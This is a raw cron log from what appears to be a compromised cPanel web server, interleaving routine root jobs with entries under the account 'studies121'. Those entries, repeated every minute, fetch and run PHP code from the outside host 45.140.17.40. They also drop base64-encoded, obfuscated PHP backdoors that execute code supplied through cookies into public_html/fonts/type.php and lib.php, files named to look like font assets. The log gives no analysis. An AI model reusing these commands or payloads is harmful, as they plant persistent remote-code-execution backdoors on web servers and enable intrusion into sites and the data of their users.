Feb 22 18:08:01 ip-184-168-122-23 CROND[31880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:08:01 ip-184-168-122-23 CROND[31882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:08:01 ip-184-168-122-23 CROND[31885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:08:01 ip-184-168-122-23 CROND[31883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:08:01 ip-184-168-122-23 CROND[31884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:09:01 ip-184-168-122-23 CROND[32203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:09:01 ip-184-168-122-23 CROND[32204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:09:01 ip-184-168-122-23 CROND[32206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:09:01 ip-184-168-122-23 CROND[32207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:09:01 ip-184-168-122-23 CROND[32209]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 18:10:01 ip-184-168-122-23 CROND[443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:10:01 ip-184-168-122-23 CROND[444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:10:01 ip-184-168-122-23 CROND[448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:10:01 ip-184-168-122-23 CROND[450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:10:01 ip-184-168-122-23 CROND[451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:10:01 ip-184-168-122-23 CROND[452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:10:01 ip-184-168-122-23 CROND[454]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 18:10:01 ip-184-168-122-23 CROND[455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:11:01 ip-184-168-122-23 CROND[902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:11:01 ip-184-168-122-23 CROND[903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:11:01 ip-184-168-122-23 CROND[904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:11:01 ip-184-168-122-23 CROND[908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:12:01 ip-184-168-122-23 CROND[1250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:12:01 ip-184-168-122-23 CROND[1252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:12:01 ip-184-168-122-23 CROND[1255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:12:01 ip-184-168-122-23 CROND[1253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:12:01 ip-184-168-122-23 CROND[1254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:13:01 ip-184-168-122-23 CROND[1596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:13:01 ip-184-168-122-23 CROND[1597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:13:01 ip-184-168-122-23 CROND[1599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:13:01 ip-184-168-122-23 CROND[1598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:14:01 ip-184-168-122-23 CROND[1949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:14:01 ip-184-168-122-23 CROND[1951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:14:01 ip-184-168-122-23 CROND[1952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:14:01 ip-184-168-122-23 CROND[1953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:14:01 ip-184-168-122-23 CROND[1954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:15:01 ip-184-168-122-23 CROND[2316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:15:01 ip-184-168-122-23 CROND[2317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:15:01 ip-184-168-122-23 CROND[2321]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Feb 22 18:15:01 ip-184-168-122-23 CROND[2323]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 18:15:01 ip-184-168-122-23 CROND[2325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:15:01 ip-184-168-122-23 CROND[2322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:15:01 ip-184-168-122-23 CROND[2329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:15:01 ip-184-168-122-23 CROND[2326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:16:01 ip-184-168-122-23 CROND[2784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:16:01 ip-184-168-122-23 CROND[2787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:16:01 ip-184-168-122-23 CROND[2786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:16:01 ip-184-168-122-23 CROND[2788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 18:16:01 ip-184-168-122-23 CROND[2789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:16:01 ip-184-168-122-23 CROND[2790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:17:01 ip-184-168-122-23 CROND[3214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:17:01 ip-184-168-122-23 CROND[3213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:17:01 ip-184-168-122-23 CROND[3215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:17:01 ip-184-168-122-23 CROND[3212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:18:01 ip-184-168-122-23 CROND[3547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:18:01 ip-184-168-122-23 CROND[3550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:18:01 ip-184-168-122-23 CROND[3549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:18:01 ip-184-168-122-23 CROND[3552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:18:01 ip-184-168-122-23 CROND[3551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:19:01 ip-184-168-122-23 CROND[3908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:19:01 ip-184-168-122-23 CROND[3910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:19:01 ip-184-168-122-23 CROND[3911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:19:01 ip-184-168-122-23 CROND[3912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
